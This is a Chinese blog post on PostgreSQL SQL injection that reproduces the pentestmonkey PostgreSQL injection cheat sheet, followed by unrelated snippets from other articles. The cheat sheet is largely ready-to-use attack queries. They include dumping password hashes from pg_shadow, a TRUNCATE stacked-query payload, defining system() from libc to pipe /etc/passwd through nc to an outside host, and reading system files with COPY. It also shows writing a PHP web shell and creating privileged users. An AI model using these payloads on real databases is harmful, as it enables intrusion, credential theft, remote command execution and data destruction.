PostgreSQL Injection Cheat Sheet

SQL 注入对于DBA来说是防不胜防的, 唯一能做的是做好备份 .

那么SQL注入一般能利用哪些数据库特征呢?

1. 注释

    例如将条件注释掉, 放大检索的结果集.

    update table_name set nickname='$1' where sex='$2' and c1='$3' and ...;

    如果$2 = '; -- , 注入后  SQL将变成 update table_name set nickname='$1' where sex=''; --' and c1='$3' and ... ; 将会更新所有的sex='?'的记录. 

2. 多条SQL

    同样上面一条SQL, update table_name set nickname='$1' where sex='$1' and c1='$2' and ...;

    如果$2 = ';  TRUNCATE TABLE table_name; -- 那么就变成执行2条SQL了, 

    SQL1 : 

    update table_name set nickname='$1' where sex='';

    SQL2 : 

    TRUNCATE TABLE table_name;

    这个是极度危险的.

现在大多数驱动应该不允许同时提交2条SQL了, 可以大大降低这种风险. 

3. 数据库本身的特征

    例如 pg_user_mappings 和 pg_foreign_server 默认情况下可以查看到foreign server和user mappings的信息, 包含IP端口,用户密码.

以下取自互联网, SQL注入常用的SQL, 查询表名, 用户名, 数据库配置等 : 

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT version()
Comments SELECT 1; –comment
SELECT /*comment*/ 1;
Current User SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users SELECT usename FROM pg_user
List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database SELECT current_database()
List Databases SELECT datname FROM pg_database
List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
ASCII Value -> Char SELECT chr(65);
Char -> ASCII Value SELECT ascii(‘A’);
Casting SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
Make DNS Requests Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users DROP USER test1; — priv
Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
 Location of DB files SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
Default/System Databases template0
template1

【参考】
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

时间: 2024-09-08 09:43:40

PostgreSQL Injection Cheat Sheet的相关文章

微软推Azure机器学习工具:Algorithm Cheat Sheet

英文原文:Microsoft Azure Machine Learning Algorithm Cheat Sheet 来源于:微软推Azure机器学习工具:Algorithm Cheat Sheet Azure Machine Learning Studio 有着大量的机器学习算法,现在你可以使用它来构建预测分析解决方案.这些算法可用于一般的机器学习:回归分析.分类.聚类和异常检测,且每一个都可以解决不同类型的机器学习问题. 现在的问题是,是否有什么工具之类的东西可帮助找出如何选择一个合适的机

WinDbg / SOS Cheat Sheet

好东西,要留下记录,尽量全部装进我的大脑.哈哈! 原文地址:http://kentb.blogspot.com/2007/11/windbg-sos-cheat-sheet.html WinDbg / SOS Cheat Sheet Environment Attach to process F6 Detach from a process .detach Break debugger execution Ctrl-Break Continue debugger execution g Exit

Pandas Cheat Sheet

版本一 版本二 版本三 版本四

Hacking PostgreSQL

Hacking PostgreSQL 作者 digoal 日期 2016-10-18 标签 PostgreSQL , sql注入 , ssrf , PostgreSQL , hacking 本文为基于转载的加工文章,原文地址 http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html 背景 这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法. SQL 注入 大体上和 MySQL 差不多,有一些变量不

Cheat—— 给Linux初学者和管理员一个终极命令行&quot;备忘单&quot;

Cheat-- 给Linux初学者和管理员一个终极命令行"备忘单" 当你不确定你所运行的命令,尤其是那些使用了许多选项的复杂命令时,你会怎么做?在这种情况下,我们使用man pages来获取帮助.还有一些其它的选择可能包括像'help','whereis'和'whatis'这样的命令.但是所有的这些既有优点,也有缺点. 当我们浏览man pages来查看选项和帮助的时候,里面的描述实在太冗长了,我们无法在短的时间里理解它的意思. Linux Man Pages Linux Man Pa

【原创】Python 工具 cheat

本文针对 cheat 安装过程中遇到的问题进行简单说明和解决.  从 github 上下载 [root@Betty GIT]# git clone https://github.com/chrisallenlane/cheat.git [root@Betty GIT]# cd cheat/ [root@Betty cheat]# [root@Betty cheat]# ll 总用量 32 drwxr-xr-x 2 root root 4096 3月 24 13:25 bin -rw-r--r--

网页前端设计资源:前端设计资源收藏夹

文章简介:今天在邮件中收到一个由 Dimi Navrotskyy在Github上发布的前端收藏夹,里面的资源太丰富了.我在想很多同学肯定喜欢.本想直接发个链接与大家分享,但时间久了,找起来辛苦.特意copy了一份发在w3cplus上. 今天在邮件中收到一个由 Dimi Navrotskyy在Github上发布的前端收藏夹,里面的资源太丰富了.我在想很多同学肯定喜欢.本想直接发个链接与大家分享,但时间久了,找起来辛苦.特意copy了一份发在w3cplus上.而且我在后面还增加了一份我自己整理的学习

WEB安全工具大收集

很多,非常多. Test sites / testing grounds SPI Dynamics (live) – http://zero.webappsecurity.com/Cenzic (live) – http://crackme.cenzic.com/Watchfire (live) – http://demo.testfire.net/Acunetix (live) – http://testphp.acunetix.com/ http://testasp.acunetix.com

想染指系统架构?你绝对不可错过的一篇

本文讲的是想染指系统架构?你绝对不可错过的一篇., 系统设计入门 翻译 有兴趣参与翻译? 以下是正在进行中的翻译: 巴西葡萄牙语 简体中文(已完成) 土耳其语 目的 学习如何设计大型系统. 为系统设计的面试做准备. 学习如何设计大型系统 学习如何设计可扩展的系统将会有助于你成为一个更好的工程师. 系统设计是一个很宽泛的话题.在互联网上,关于系统设计原则的资源也是多如牛毛. 这个仓库就是这些资源的组织收集,它可以帮助你学习如何构建可扩展的系统. 从开源社区学习 这是一个不断更新的开源项目的初期的版